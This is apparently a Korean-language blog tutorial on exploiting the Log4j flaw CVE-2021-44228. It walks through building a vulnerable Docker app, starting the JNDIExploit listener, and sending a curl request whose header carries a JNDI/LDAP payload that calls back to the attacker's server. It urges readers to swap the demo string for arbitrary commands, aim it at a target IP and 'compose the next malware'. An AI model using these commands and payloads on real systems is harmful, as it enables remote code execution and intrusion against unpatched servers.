
Log4j CVE-2021-44228를 악용하는 단계별 튜토리얼: Docker 기반 취약 앱, JNDIExploit 리스너, LDAP 페이로드 주입을 통한 원격 코드 실행

Java 로깅 라이브러리 Log4j와 관련된 원격 코드 실행 취약점이 발견되었습니다.
CVE-2021-44228 이 취약점은 전 세계 사이버 커뮤니티에 큰 파장을 일으켰으며, Wannacry 이후 이렇게 큰 영향을 본 적이 없습니다.
Java로 작성된 대부분의 애플리케이션이 영향을 받고 취약할 것으로 생각되며, 특히 Apache Struts2, Apache Solr, Apache Druid, Apache Flink를 포함한 Apache 프레임워크가 그렇습니다. 또한 ElasticSearch, Flume, Logstash, Kafka, Netty, MyBatis 및 Spring-Boot-starter-log4j도 취약합니다. 인터넷에서 가장 인기 있는 제품 및 서비스 중 일부(Apple iCloud, Amazon, Steam 및 Twitter 포함)는 이러한 프레임워크에 의존하여 작동합니다. 여기에는 상당수의 엔터프라이즈 및 사이버 보안 애플리케이션도 포함되는 것으로 생각됩니다.
Radware(지속적으로 적응하는 실시간 DDoS 서비스)는 log4j 메시지 조회 대체를 활성화하고 활용하는 소프트웨어만 영향을 받는다고 밝혔습니다. 버전 2.15.0부터 메시지 조회 대체가 기본적으로 비활성화되어 패치가 필요합니다. Log4j 2 버전 2.0-beta9에서 2.14.1까지 모두 취약하며 악용 가능합니다.


먼저, 이 가이드는 Kali Linux VM에서 작동하며 다음 명령으로 Java 리스너를 실행하는 것과 호환됩니다(비디오 가이드의 왼쪽과 같이). 취약한 애플리케이션 Docker 이미지를 빌드한 다음 실행하는 것으로 시작합니다. 이제 이 작업을 수행해 보겠습니다.
docker build . -t vulnerable-app다음 단계는 실제로 배포된 취약한 앱(vulnerable-app)을 실행하는 것입니다.
*따라서 다음 명령:
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
이제 비디오 가이드에서처럼 Spring 스크립트가 실행되어야 합니다.
이제 LDAP 서버에 대한 지문을 얻기 위해 LDAP 링크를 생성하기만 하면 됩니다. 먼저 익스플로잇 도구 JNDIExploit-1.2를 다운로드하세요. JNDIExploit 다운로드 URL은 GitHub에서 삭제되었으므로 아카이브에서 다운로드하세요(아래 URL). 아카이브에서 다운로드할 다음 URL을 사용하세요. JNDIExploitArchiveUrl
자, 이제 해봅시다.
JNDIExploit의 압축을 풉니다.
Java 리스너 실행: java -jar JNDIExploit.v1.2-SNAPSHOT.jar -i "자신의_IP-주소로_바꾸세요" -p 8888.
참고: "자신의_IP-주소로_바꾸세요"를 삭제하고 자신의 리스너 IP를 입력하세요. (괄호 포함하지 않음).
다음 단계는 익스플로잇을 트리거하기 위해 다음 명령을 실행하는 것입니다:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://"ip-addr":1389/Basic/Command/Base64/aGVsbG8td29ybGQ=}'
참고: "ip-addr"을 Java를 통해 수신 대기 중인 로컬 IP로 바꾸세요. 또한 127.0.0.1을 대상 IP 주소로 바꾸면 끝입니다. base64로 인코딩된 hello-world 문자열을 받게 됩니다. 이와 같이 모든 조작을 수행할 수 있습니다. 더 많은 기술을 발견하세요: Minecraft, Burp Suite 도구를 통해 컴퓨터의 열린 서비스를 조작하는 등. 상상해보세요 - 생산 모드로 들어가 즉흥성을 높이고 다음 악성코드를 구성하세요.
base64 문자열(hello-world)을 LDAP 서버를 통해 쿼리를 실행하는 데 호환되는 JS 코드 실행으로 바꿀 수 있습니다.